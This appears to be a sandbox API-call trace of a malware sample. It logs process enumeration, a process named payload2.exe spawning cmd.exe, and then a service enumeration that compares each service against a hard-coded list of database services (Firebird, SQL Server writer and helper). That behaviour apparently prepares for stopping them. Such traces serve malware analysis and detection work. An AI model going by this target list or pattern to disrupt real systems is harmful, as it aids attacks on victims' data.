	[0064.723] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0065.171] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0065.171] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0065.172] lstrlenW (lpString="taskhostw.exe") returned 13
	[0065.172] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0065.172] lstrlenW (lpString="UsoClient.exe") returned 13
	[0065.172] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0065.173] lstrlenW (lpString="taskhostw.exe") returned 13
	[0065.173] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0065.174] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0065.174] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0065.175] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0065.175] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0065.175] lstrlenW (lpString="msoia.exe") returned 9
	[0065.175] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0065.176] lstrlenW (lpString="msoia.exe") returned 9
	[0065.176] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0065.176] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0065.177] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0065.177] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0065.177] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0065.178] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0065.178] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0065.178] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0065.178] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0065.179] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0065.179] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0065.180] lstrlenW (lpString="legends.exe") returned 11
	[0065.180] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0065.180] lstrlenW (lpString="miniature.exe") returned 13
	[0065.180] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0065.181] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0065.181] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0065.182] lstrlenW (lpString="thorough.exe") returned 12
	[0065.182] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0065.183] lstrlenW (lpString="dllhost.exe") returned 11
	[0065.183] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0065.183] lstrlenW (lpString="interactive.exe") returned 15
	[0065.183] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0065.184] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0065.184] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0065.185] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0065.185] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0065.186] lstrlenW (lpString="eastexamined.exe") returned 16
	[0065.186] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0065.187] lstrlenW (lpString="attacks-according.exe") returned 21
	[0065.187] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0065.187] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0065.187] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0065.188] lstrlenW (lpString="values latin.exe") returned 16
	[0065.188] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0065.189] lstrlenW (lpString="eaufeed.exe") returned 11
	[0065.189] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0065.190] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0065.190] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0065.191] lstrlenW (lpString="burning.exe") returned 11
	[0065.191] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0065.193] lstrlenW (lpString="warned-garage.exe") returned 17
	[0065.193] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0065.194] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0065.194] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0065.195] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0065.195] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0065.196] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0065.196] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0065.204] lstrlenW (lpString="proprietary.exe") returned 15
	[0065.204] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0065.205] lstrlenW (lpString="conhost.exe") returned 11
	[0065.205] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0065.206] lstrlenW (lpString="conhost.exe") returned 11
	[0065.206] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0065.207] lstrlenW (lpString="payload2.exe") returned 12
	[0065.207] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0065.208] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0065.208] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0065.210] lstrlenW (lpString="conhost.exe") returned 11
	[0065.210] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.211] lstrlenW (lpString="svchost.exe") returned 11
	[0065.211] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0065.211] lstrlenW (lpString="cmd.exe") returned 7
	[0065.211] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0065.217] lstrlenW (lpString="conhost.exe") returned 11
	[0065.217] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0065.218] CloseHandle (hObject=0x364) returned 1
	[0065.218] Sleep (dwMilliseconds=0x1f4) 
	[0066.229] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d840
	[0066.229] EnumServicesStatusExW (in: hSCManager=0x52d840, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0066.230] GetLastError () returned 0xea
	[0066.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d60) returned 0x4313a10
	[0066.231] EnumServicesStatusExW (in: hSCManager=0x52d840, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4313a10, cbBufSize=0x1d60, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4313a10, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0066.232] CloseServiceHandle (hSCObject=0x52d840) returned 1
	[0066.232] lstrlenW (lpString="Appinfo") returned 7
	[0066.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0066.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0066.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0066.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0066.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0066.233] lstrlenW (lpString="AppXSvc") returned 7
	[0066.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0066.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0066.233] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0066.233] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0066.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0066.233] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0066.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0066.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0066.233] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0066.233] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0066.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0066.233] lstrlenW (lpString="Audiosrv") returned 8
	[0066.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0066.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0066.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0066.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0066.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0066.233] lstrlenW (lpString="BFE") returned 3
	[0066.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0066.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0066.233] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0066.233] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0066.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0066.234] lstrlenW (lpString="BITS") returned 4
	[0066.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0066.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0066.234] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0066.234] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0066.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0066.234] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0066.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0066.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0066.234] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0066.234] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0066.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0066.234] lstrlenW (lpString="CDPSvc") returned 6
	[0066.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0066.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0066.234] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0066.234] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0066.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0066.234] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0066.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0066.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0066.234] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0066.234] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0066.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0066.234] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0066.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0066.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0066.235] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0066.235] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0066.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0066.235] lstrlenW (lpString="CryptSvc") returned 8
	[0066.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0066.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0066.235] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0066.235] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0066.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0066.235] lstrlenW (lpString="DcomLaunch") returned 10
	[0066.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0066.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0066.235] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0066.235] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0066.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0066.236] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0066.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0066.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0066.236] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0066.236] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0066.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0066.236] lstrlenW (lpString="Dhcp") returned 4
	[0066.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0066.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0066.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0066.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0066.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0066.236] lstrlenW (lpString="Dnscache") returned 8
	[0066.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0066.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0066.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0066.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0066.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0066.236] lstrlenW (lpString="DoSvc") returned 5
	[0066.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0066.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0066.236] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0066.236] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0066.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0066.236] lstrlenW (lpString="DPS") returned 3
	[0066.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0066.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0066.237] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0066.237] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0066.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0066.237] lstrlenW (lpString="DusmSvc") returned 7
	[0066.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0066.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0066.237] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0066.237] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0066.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0066.237] lstrlenW (lpString="EventLog") returned 8
	[0066.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0066.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0066.237] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0066.237] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0066.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0066.237] lstrlenW (lpString="EventSystem") returned 11
	[0066.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
